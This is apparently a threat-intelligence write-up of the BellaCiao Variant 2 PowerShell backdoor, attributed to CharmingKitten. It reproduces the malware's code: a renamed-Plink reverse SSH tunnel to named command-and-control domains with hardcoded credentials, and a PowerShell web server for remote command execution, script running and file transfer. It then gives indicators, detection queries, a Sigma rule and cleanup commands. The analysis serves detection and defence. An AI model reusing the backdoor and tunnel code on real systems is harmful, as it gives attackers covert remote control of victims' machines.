Skip to main content

BellaCiao Variant 2 - PowerShell Reverse Proxy

BellaCiao Variant 2 is a PowerShell-based backdoor that combines Plink (PuTTY Link) for reverse SSH tunneling with a customized PowerShell webserver to provide persistent remote access to compromised systems.
This analysis is based on actual source code (iis.ps1) leaked from CharmingKitten’s infrastructure. The techniques described are actively used in real-world attacks.

Overview

Variant 2 takes a different approach from Variant 1:
  • No DNS beaconing: Uses direct SSH tunnel connection
  • Plink reverse proxy: Establishes SSH tunnel to C2 server
  • Local webserver: PowerShell HTTP server on localhost:49450
  • Tunnel routing: Remote operators access webserver through SSH tunnel

Technical Architecture

Component Analysis

The P function establishes a reverse SSH tunnel using Plink:
function P
{
    $domain = "twittsupport.com"
    $domain2 = "msn-center.uk"
    $Path = "C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe"
    
    # Plink command with reverse tunnel
    $command = "echo Y | $Path $domain -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!"
    $command2 = "echo Y | $Path $domain2 -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!"
    
    try {
        [System.Net.IPHostEntry] $query = [System.Net.Dns]::GetHostEntry($domain);
        [string]$ip = $query.AddressList[0].ToString()
        
        if(![String]::IsNullOrEmpty($ip)) {
            start-process cmd.exe "/c  $command" -WindowStyle Hidden
            $connected = $true            
        }
    }
    catch {
        Start-Sleep -Seconds 10
        # Try backup domain
        $query = [System.Net.Dns]::GetHostEntry($domain2);
        $ip = $query.AddressList[0].ToString()
        
        if(![String]::IsNullOrEmpty($ip)) {
            start-process cmd.exe "/c  $command2" -WindowStyle Hidden
            $connected = $true
        }     
    }
}
The echo Y prefix auto-accepts SSH host key verification, allowing unattended execution.
ParameterValuePurpose
Targettwittsupport.com or msn-center.ukC2 server domain
Port-P 443SSH on port 443 (appears as HTTPS traffic)
Compression-CEnable SSH compression
Reverse Tunnel-R 127.0.0.1:9090:127.0.0.1:49450Forward C2 port 9090 to local port 49450
Username-l IsraelSSH username
Password-pw Israel@123!SSH password (hardcoded)
BinaryJava Update Services.exeRenamed plink.exe (masquerading)
  1. Plink connects from victim to C2 server on port 443
  2. C2 server opens listening port 9090 (localhost only)
  3. Connections to C2:9090 are tunneled to victim:49450
  4. Victim runs PowerShell webserver on localhost:49450
  5. Operator accesses webserver through tunnel: localhost:9090 on C2

Function W: PowerShell Webserver

The W function implements a full-featured HTTP server based on a modified version of Start-Webserver.ps1:
Function W ()
{
    Param([STRING]$BINDING = 'http://127.0.0.1:49450/', [STRING]$BASEDIR = "")
    
    $LISTENER = New-Object System.Net.HttpListener
    $LISTENER.Prefixes.Add($BINDING)
    $LISTENER.Start()
    
    while ($LISTENER.IsListening)
    {
        $CONTEXT = $LISTENER.GetContext()
        $REQUEST = $CONTEXT.Request
        $RESPONSE = $CONTEXT.Response
        
        # Handle different endpoints
        $RECEIVED = '{0} {1}' -f $REQUEST.httpMethod, $REQUEST.Url.LocalPath
        
        switch ($RECEIVED)
        {
            "GET /" { # Command execution interface }
            "POST /script" { # Script upload and execution }
            "POST /upload" { # File upload }
            "GET /download" { # File download }
            # ... more endpoints
        }
    }
}

Webserver Capabilities

The PowerShell webserver provides a comprehensive web-based administration interface:

1. Command Execution (GET /)

<form method="GET" action="/">
    <b>PS C:\></b>
    <input type="text" name="command" value=''>
    <input type="submit" value="Enter">
</form>
Backend processing:
$FORMFIELD = [URI]::UnescapeDataString(($REQUEST.Url.Query -replace "\+"," "))
$RESULT = Invoke-Expression -EA SilentlyContinue $FORMFIELD 2> $NULL | Out-String
Direct PowerShell command execution with output displayed in browser. Any command available to the system account can be executed.

2. Script Execution (POST /script)

<form method="POST" enctype="multipart/form-data" action="/script">
    <p><b>Script to execute:</b><input type="file" name="filedata"></p>
    <b>Parameters:</b><input type="text" name="parameter">
    <input type="submit" value="Execute">
</form>
Execution:
$EXECUTE = "function Powershell-WebServer-Func {`n" + $FILEDATA + "`n}`nPowershell-WebServer-Func " + $PARAMETERS
$RESULT = Invoke-Expression -EA SilentlyContinue $EXECUTE 2> $NULL | Out-String
Allows uploading and executing complete PowerShell scripts with parameters.

3. File Upload (POST /upload)

<form method="POST" enctype="multipart/form-data" action="/upload">
    <p><b>File to upload:</b><input type="file" name="filedata"></p>
    <b>Path to store:</b><input type="text" name="filepath">
    <input type="submit" value="Upload">
</form>
Storage:
[IO.File]::WriteAllText($TARGETNAME, $FILEDATA, $REQUEST.ContentEncoding)

4. File Download (POST /download)

<form method="POST" action="/download">
    <b>Path to file:</b><input type="text" name="filepath">
    <input type="submit" value="Download">
</form>
Download:
$BUFFER = [System.IO.File]::ReadAllBytes($FORMFIELD)
$RESPONSE.ContentLength64 = $BUFFER.Length
$RESPONSE.ContentType = "application/octet-stream"
$RESPONSE.AddHeader("Content-Disposition", "attachment; filename=$FILENAME")
$RESPONSE.OutputStream.Write($BUFFER, 0, $BUFFER.Length)

5. Additional Endpoints

EndpointMethodPurpose
/logGETView webserver access logs
/timeGETGet current system time
/starttimeGETView webserver start time
/beepGETTrigger system beep (presence check)
/quit or /exitGETStop webserver
/*GETBrowse filesystem / download files

Execution Flow

Startup Sequence

# Main execution
WRunner  # Start webserver in background runspace
PRunner  # Start Plink tunnel in background runspace

# Keep script alive
while($true)
{
    Start-Sleep 60  # Check every minute
}

Background Runspaces

Both components run in separate PowerShell runspaces:
function WRunner()
{
    $initialsessionstateeval = [System.Management.Automation.Runspaces.initialSessionState]::CreateDefault()
    $funcHtPost = Get-Content Function:\W -ErrorAction Stop
    $addfuncPost = New-Object System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList "W", $funcHtPost
    $initialsessionstateeval.Commands.Add($addfuncPost)
    
    $runspaceeval = [runspacefactory]::CreateRunspace($initialsessionstateeval)
    $runspaceeval.ThreadOptions = "ReuseThread"
    $runspaceeval.Open()
    
    [powershell]$eval = [powershell]::Create()
    [void]$eval.AddScript({ W })
    $eval.Runspace = $runspaceeval
    $eval.BeginInvoke() | Out-Null
}
Using separate runspaces allows both the webserver and tunnel to run concurrently without blocking each other.

Persistence Mechanism

While not included in the leaked source, Variant 2 is typically persisted via:
  • Scheduled Task: Run iis.ps1 at system startup
  • Registry Run Key: Launch PowerShell script on user login
  • WMI Event Subscription: Trigger on specific system events

Known Deployments

Variant 2 has been observed in:
  • Post-exploitation after ProxyShell compromise
  • Secondary persistence after Variant 1 deployment
  • Standalone deployment on workstations and servers

Indicators of Compromise

File System IoCs

# Plink binary (renamed)
C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe

# PowerShell script
iis.ps1
start-webserver.ps1

Process IoCs

Process: powershell.exe
Command Line: powershell.exe -ExecutionPolicy Bypass -File iis.ps1

Process: Java Update Services.exe (plink.exe)
Command Line: "C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe" twittsupport.com -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!

Network IoCs

Domains:
- twittsupport.com
- msn-center.uk

Connections:
- Outbound to twittsupport.com:443
- Outbound to msn-center.uk:443
- Listening on 127.0.0.1:49450 (localhost only)

SSH Credentials

Username: Israel
Password: Israel@123!
These hardcoded credentials are used across multiple CharmingKitten operations. Check SSH logs for authentication attempts with username “Israel”.

Detection Strategies

Detect suspicious Plink usage:
# Search for plink.exe or renamed variants
Get-Process | Where-Object { 
    $_.ProcessName -like "*plink*" -or 
    $_.Path -like "*Java Update Services*"
}

# Check command lines for SSH tunnel parameters
Get-WmiObject Win32_Process | Where-Object {
    $_.CommandLine -like "*-R *:*:127.0.0.1:*" -and
    $_.CommandLine -like "*-P 443*"
}
Monitor for:
  • Outbound SSH connections on port 443 (unusual)
  • Long-duration connections to suspicious domains
  • DNS queries for twittsupport.com or msn-center.uk
  • Local HTTP listener on port 49450
Firewall rule:
Block outbound connections to:
- twittsupport.com (all ports)
- msn-center.uk (all ports)
Enable and monitor PowerShell logging:
# Check for HttpListener usage
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | 
    Where-Object { $_.Message -like "*System.Net.HttpListener*" }

# Look for Invoke-Expression with user input
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | 
    Where-Object { $_.Message -like "*Invoke-Expression*" -and $_.Message -like "*Request.Url*" }
title: BellaCiao Variant 2 Plink Reverse Tunnel
status: experimental
description: Detects Plink establishing reverse SSH tunnel to CharmingKitten C2
author: CharmingKitten Exposure Project
date: 2025/01/01
logsource:
  category: process_creation
  product: windows
detection:
  selection_plink:
    CommandLine|contains|all:
      - '-P 443'
      - '-R 127.0.0.1'
      - '-l Israel'
  selection_domains:
    CommandLine|contains:
      - 'twittsupport.com'
      - 'msn-center.uk'
  condition: selection_plink and selection_domains
falsepositives:
  - Legitimate administrative SSH tunnels (rare)
level: critical

Remediation Steps

1

Kill malicious processes

# Stop PowerShell webserver
Get-Process powershell | Where-Object { 
    $_.CommandLine -like "*iis.ps1*" 
} | Stop-Process -Force

# Stop Plink tunnel
Stop-Process -Name "Java Update Services" -Force -ErrorAction SilentlyContinue
Get-Process | Where-Object { 
    $_.CommandLine -like "*-R 127.0.0.1*" 
} | Stop-Process -Force
2

Remove files

Remove-Item "C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe" -Force
Remove-Item -Path "C:\" -Filter "iis.ps1" -Recurse -Force
3

Remove persistence

# Remove scheduled tasks
Get-ScheduledTask | Where-Object { 
    $_.Actions.Execute -like "*iis.ps1*" 
} | Unregister-ScheduledTask -Confirm:$false

# Check registry run keys
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
4

Block C2 infrastructure

Add firewall rules and DNS blocks for:
  • twittsupport.com
  • msn-center.uk
5

Hunt for lateral movement

Check if the compromised system was used as a pivot point:
# Review recent network connections
Get-NetTCPConnection | Where-Object { 
    $_.RemoteAddress -notlike "127.0.0.1" 
}

# Check for additional malware
Get-Process | Where-Object { $_.Path -notlike "C:\Windows\*" }

Defensive Recommendations

  1. Restrict PowerShell Execution
    • Implement PowerShell Constrained Language Mode
    • Use AppLocker/WDAC to control script execution
    • Enable Script Block Logging and Module Logging
  2. Monitor Outbound SSH
    • Alert on SSH connections to non-standard ports (especially 443)
    • Block SSH clients except for authorized systems
    • Inspect SSH traffic with SSL/TLS decryption
  3. Localhost Port Monitoring
    • Monitor for HTTP listeners on localhost ports
    • Alert on System.Net.HttpListener usage in PowerShell
  4. Behavioral Detection
    • Alert on renamed SSH clients (plink.exe with different name)
    • Detect long-running PowerShell processes
    • Monitor processes with names mimicking legitimate software

BellaCiao Overview

Return to BellaCiao overview

Variant 1

C# DNS beaconing variant

Technical Analysis

Comprehensive technical analysis

Infrastructure Domains

C2 domain infrastructure

Build docs developers (and LLMs) love